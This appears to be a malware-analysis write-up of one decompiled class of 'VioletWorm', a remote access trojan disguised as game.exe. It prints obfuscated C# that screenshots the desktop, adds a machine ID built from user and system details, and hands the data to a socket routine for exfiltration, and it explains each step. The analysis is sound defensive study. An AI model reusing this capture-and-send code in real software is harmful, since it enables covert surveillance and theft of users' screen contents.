Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author: Moise Medici
Updated: 07 Sept 2026 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Dropping Secondary Payloads Persistence Mechanisms Command and Control C2 Communication Command Execution via Powershell Cmd Bash Data-Exfiltration File Encryption Keylogging Screen Capture Webcam Access Clipboard Manipulation Credential Theft AMSI and ETW Bypass Sandbox and VM Evasion Reflective Code Loading USB Spreading Denial of Service
Tags: python C#

Class `IUVRfVl`

This class looks very similar to what was renamed DesktopOperations, judging by the Windows library functions imported into its randomly named variables.

Variable Name	Renamed as
`drwraohWVTJHGj2XOx6o`	`GetDesktopWindow`
`qeChNltkousRvux6caMk`	`GetDC`
`r9Ek6bYrlVudYrzzoPeo`	`ReleaseDC`
`uw801rMLlwldklxRaRKb`	`OpenInputDesktop`
`SXCz2AOsEuyhWwXpuBdSf`	`SwitchDesktop`
`ZMGpaQsctiZ6FD1sxF0M`	`BitBlt`

All of them are desktop-related functions whose names are already informative, except for GetDC 21, ReleaseDC, and BitBlt 22. The get and release functions acquire or release a device context 23, an object that defines graphics attributes. The BitBlt function appears to copy a portion of a rectangle, which could be the screen currently in use.

Another function in the namespace is 85gr2379rQwnNgqixDOD, which can be renamed isMimeInstalledEncoder because that is exactly what it does. Given a mimeType such as image/jpeg, it checks whether any installed image encoder matches the supplied MIME type.

1
private static ImageCodecInfo 85gr2379rQwnNgqixDOD(string mimeType)
2
{
3
    foreach (ImageCodecInfo imageCodecInfo in ImageCodecInfo.GetImageEncoders())
4
    {
5
        if (Operators.CompareString(imageCodecInfo.MimeType, mimeType, false) == 0)
6
        {
7
            return imageCodecInfo;
8
        }
9
    }
10
    return null;
11
}

Lastly, the core of this class, VQKM8KRtwxxvNFgRwTaM.

1
private static void VQKM8KRtwxxvNFgRwTaM(Size size, int Q, int Index)
2
{
3
    try
4
    {
5
        IntPtr intPtr = IUVRfVl.OpenInputDesktop(0U, false, 257U);
6
        if (intPtr == IntPtr.Zero)
7
        {
8
            return;
9
        }
10
        Rectangle bounds = Screen.AllScreens[Index].Bounds;
11
        Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height);
12
        using (Graphics graphics = Graphics.FromImage(bitmap))
13
        {
14
            IntPtr hdc = graphics.GetHdc();
15
            IntPtr desktopWindow = IUVRfVl.GetDesktopWindow();
16
            IntPtr dc = IUVRfVl.GetDC(desktopWindow);
17
            IUVRfVl.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, dc, bounds.X, bounds.Y, 13369376U);
18
            IUVRfVl.ReleaseDC(desktopWindow, dc);
19
            graphics.ReleaseHdc(hdc);
20
        }
21
        try
22
        {
23
            Point position = Cursor.Position;
24
            if (bounds.Contains(position))
25
            {
26
                using (Graphics graphics2 = Graphics.FromImage(bitmap))
27
                {
28
                    Point point = checked(new Point(position.X - bounds.X, position.Y - bounds.Y));
29
                    Cursor @default = Cursors.Default;
30
                    Graphics graphics3 = graphics2;
31
                    Point point2 = point;
32
                    Size size2 = new Size(32, 32);
33
                    Rectangle rectangle = new Rectangle(point2, size2);
34
                    @default.Draw(graphics3, rectangle);
35
                }
36
            }
37
        }
38
        catch (Exception ex)
39
        {
40
        }
41
        if (bitmap.Size != size)
42
        {
43
            bitmap = new Bitmap(bitmap, size);
44
        }
45
        ImageCodecInfo imageCodecInfo = IUVRfVl.isMimeInstalledEncoder(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("YVcxaFoyVXZhbkJsWnc9PQ==")))));
46
        EncoderParameters encoderParameters = new EncoderParameters(1);
47
        encoderParameters.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Q);
48
        using (MemoryStream memoryStream = new MemoryStream())
49
        {
50
            bitmap.Save(memoryStream, imageCodecInfo, encoderParameters);
51
            Socket yoZWPEB2L4CWPcRdRPHEGoogle = YOPogZWq.YoZWPEB2L4CWPcRdRPHEGoogle;
52
            lock (yoZWPEB2L4CWPcRdRPHEGoogle)
53
            {
54
                YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VWtRcg==")))), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.xlXljmuIyDRRNNvCnXbU(memoryStream.ToArray())), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Width), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Height), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.fyMynyuY94JR2Keprwhk())));
55
            }
56
        }
57
    }
58
    catch (Exception ex2)
59
    {
60
        MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UlhKeWIzSTZJQT09")))) + ex2.Message);
61
    }
62
    GC.Collect();
63
}

The function starts by calling OpenInputDesktop 24, which returns a handle to the desktop, allowing input to be received from it.

It then creates a bitmap object the same size as the screen and copies the desktop contents into it, essentially taking a screenshot without using clipboard-related methods. It does this by obtaining the desktop handle, opening the device-context handle, and copying the desktop data into bitmap via BitBlt.

Once this is done, a cursor is drawn on the bitmap.

All of this may indicate potential data exfiltration.

Moving on, the function calls isMimeInstalledEncoder with the base64 encoded value of image/jpeg. The image is then saved using the bitmap.Save method, with the destination being an in-memory object called memoryStream. A socket is then created:

1
Socket yoZWPEB2L4CWPcRdRPHEGoogle = YOPogZWq.YoZWPEB2L4CWPcRdRPHEGoogle;

followed by the invocation of jceX8VSgpCMIpFoVkQH6, which comes from the Y0PogZWq namespace that we have not looked into yet:

1
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VWtRcg==")))), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.xlXljmuIyDRRNNvCnXbU(memoryStream.ToArray())), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Width), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Height), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.fyMynyuY94JR2Keprwhk())));

Even though we don’t know what the function does yet, we can at least try to understand the arguments passed to it.

A hopefully easier way to read this function call is to format it:

1
YOPogZWq.jceX8VSgpCMIpFoVkQH6(
2
    Conversions.ToString(
3
        Operators.ConcatenateObject(
4
            Operators.ConcatenateObject(
5
                Operators.ConcatenateObject(
6
                    Operators.ConcatenateObject(
7
                        Operators.ConcatenateObject(
8
                            Operators.ConcatenateObject(
9
                                Operators.ConcatenateObject(
10
                                    Operators.ConcatenateObject(
11
                                        Encoding.UTF8.GetString(
12
                                            Convert.FromBase64String(
13
                                                Encoding.UTF8.GetString(
14
                                                    Convert.FromBase64String("VWtRcg==")
15
                                                )
16
                                            )
17
                                        ),
18
                                        YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
19
                                    ),
20
                                    HVJGiDs.xlXljmuIyDRRNNvCnXbU(
21
                                        memoryStream.ToArray()
22
                                    )
23
                                ),
24
                                YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
25
                            ),
26
                            bounds.Width
27
                        ),
28
                        YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
29
                    ),
30
                    bounds.Height
31
                ),
32
                YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
33
            ),
34
            HVJGiDs.fyMynyuY94JR2Keprwhk()
35
        )
36
    )
37
);

Now for the content: J49YGBiw55cb2H8tyMLYGoogle is defined as EncodedConstants.Violet, so we know it contains the string “Violet”. The base64 of VWtRcg== is RD+. For the sake of simplicity we can assume bounds.Width and bounds.Height to be something like 1920x1080, since the actual values don’t really matter.

The ConcatenateObject function is a built-in function that joins two values together, of the same or different types. For example:

Operators.ConcatenateObject(10, "px") will result in "10px"
Operators.ConcatenateObject("mb", "px") will result in "mbpx"
Operators.ConcatenateObject(10, 30) will result in "1030"

So right now the function is:

1
YOPogZWq.jceX8VSgpCMIpFoVkQH6(
2
    Conversions.ToString(
3
        Operators.ConcatenateObject(
4
            Operators.ConcatenateObject(
5
                Operators.ConcatenateObject(
6
                    Operators.ConcatenateObject(
7
                        Operators.ConcatenateObject(
8
                            Operators.ConcatenateObject(
9
                                Operators.ConcatenateObject(
10
                                    "RD+Violet",
11
                                    HVJGiDs.xlXljmuIyDRRNNvCnXbU(
12
                                        memoryStream.ToArray()
13
                                    )
14
                                ),
15
                                "Violet"
16
                            ),
17
                            1920
18
                        ),
19
                        "Violet"
20
                    ),
21
                    1080
22
                ),
23
                "Violet"
24
            ),
25
            HVJGiDs.fyMynyuY94JR2Keprwhk()
26
        )
27
    )
28
);

It is calling two functions from the HVJGiDs namespace, which has not been analyzed yet, but we can cover them here since they are pretty small.

1
public static string xlXljmuIyDRRNNvCnXbU(byte[] b)
2
{
3
    return Encoding.GetEncoding(1252).GetString(b);
4
}

This method takes an array of bytes and converts them to a string using a Western European encoding. The 1252 value passed to GetEncoding 25 is described in the example on the linked page as:

1
1252               Windows-1252                 Western European (Windows)

Because the function is called with memoryStream.toArray() as its argument, the bitmap bytes are forcibly converted to text, potentially for transmission over a network protocol.

This function has been renamed forceEncoding.

The other function, HVJGiDs.fyMynyuY94JR2Keprwhk, is:

1
public static string fyMynyuY94JR2Keprwhk()
2
{
3
    string text;
4
    try
5
    {
6
        text = HVJGiDs.fMrSgTSJh9g7uCXy9Yxk(string.Concat(new object[]
7
        {
8
            Environment.ProcessorCount,
9
            Environment.UserName,
10
            Environment.MachineName,
11
            Environment.OSVersion,
12
            new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
13
        }));
14
    }
15
    catch (Exception ex)
16
    {
17
        text = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UlhKeUlFaFhTVVE9"))));
18
    }
19
    return text;
20
}

The function returns a string containing client information, such as the logged-in username, machine name, OS version, and the size of the C drive. This data is processed by the fMrSgTSJh9g7uCXy9Yxk function, which hashes it with MD5. The hash is converted to an array of bytes, and each byte is formatted as lowercase hexadecimal with at least two digits using the ToString method with the argument x2. The result is truncated to the first 20 characters and converted to uppercase. This function can be renamed MakeIdFromStr, while the previous one can be renamed MakeIdFromOSInfo.

1
public static string fMrSgTSJh9g7uCXy9Yxk(string strToHash)
2
{
3
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
4
    byte[] array = Encoding.ASCII.GetBytes(strToHash);
5
    array = md5CryptoServiceProvider.ComputeHash(array);
6
    StringBuilder stringBuilder = new StringBuilder();
7
    foreach (byte b in array)
8
    {
9
        stringBuilder.Append(b.ToString(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("ZURJPQ=="))))));
10
    }
11
    return stringBuilder.ToString().Substring(0, 20).ToUpper();
12
}

So, back to the piece of code we were analyzing, the simplified version is:

1
YOPogZWq.jceX8VSgpCMIpFoVkQH6(
2
    Conversions.ToString(
3
        Operators.ConcatenateObject(
4
            Operators.ConcatenateObject(
5
                Operators.ConcatenateObject(
6
                    Operators.ConcatenateObject(
7
                        Operators.ConcatenateObject(
8
                            Operators.ConcatenateObject(
9
                                Operators.ConcatenateObject(
10
                                    "RD+Violet",
11
                                    <encoded_img_as_str>
12
                                                        ),
13
                                "Violet"
14
                            ),
15
                            1920
16
                        ),
17
                        "Violet"
18
                    ),
19
                    1080
20
                ),
21
                "Violet"
22
            ),
23
            "ID From OS Info"
24
        )
25
    )
26
);

Once all the concatenation is done, the result is something like:

1
RD+Violet<encoded_img_as_str>Violet1920Violet1080VioletID From OS Info

Or, more generically:

1
RD+Violet[image string]Violet[width]Violet[height]Violet[machine-victim-id]

As mentioned before, this string is passed to the function YOPogZWq.jceX8VSgpCMIpFoVkQH6, which will be analyzed later. At this point, VQKM8KRtwxxvNFgRwTaM can be renamed ExfilDesktopData. Exfiltration is not confirmed yet, but it is very likely given the socket creation. If that proves incorrect, the name can be revised.

The last function of this class is yIQnOYhWvCQwz5LKwJsj, which can be renamed CallerExfilDesktopData because it only calls the function analyzed previously:

1
public static void CallerExfilDesktopData(Size size, int Q, int Index)
2
    {
3
        string @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VjJsdVFrbDBNekl0UjFSSVRrWjRiRUJHUUVaSWJEVlpNMDVXV0c1YU5XWlliSHBUVmpVeFlraENNbUV3ZEZabWJWcDRaak5DUzFnelJqVmxXR3gzVkRFeE1HSklRamxrUmxaYVpESlJUMFJuUWsxV1NHTlBSVUZ3Y2s5c01FNUZVWEF2WVRCQmFVVlNkMGhETW5OcFNXZzFha0ZJT1hKUlZITkhRbEZ6UkdGNVJtSkdlREJNU0hjOVBTMUZUa1E9"))));
4
        Thread thread = new Thread(delegate
5
    {
6
        IUVRfVl.ExfilDesktopData(size, Q, Index);
7
    });
8
    thread.SetApartmentState(ApartmentState.STA);
9
    thread.Start();
10
}

It does initialize the string variable with the following content:

1
WinBIt32-GTHNFxl@F@FHl5Y3NVXnZ5fXlzSV51bHB2a0tVfmZxf3BKX3F5eXlwT110bHB9dFVZd2QODgBMVHcOEAprOl0NEQp/a0AiERwHC2siIh5jAH9rQTsGBQsDayFbFx0LHw==-END

This variable is never used.

Ultimately, the class IUVRfVl can be renamed ExfilDesktopData. This does not conflict with the previous method because this refers to the class itself.

Since this class uses YOPogZWq, that class is examined next.

VioletWorm - game.exe

Class IUVRfVl

Class `IUVRfVl`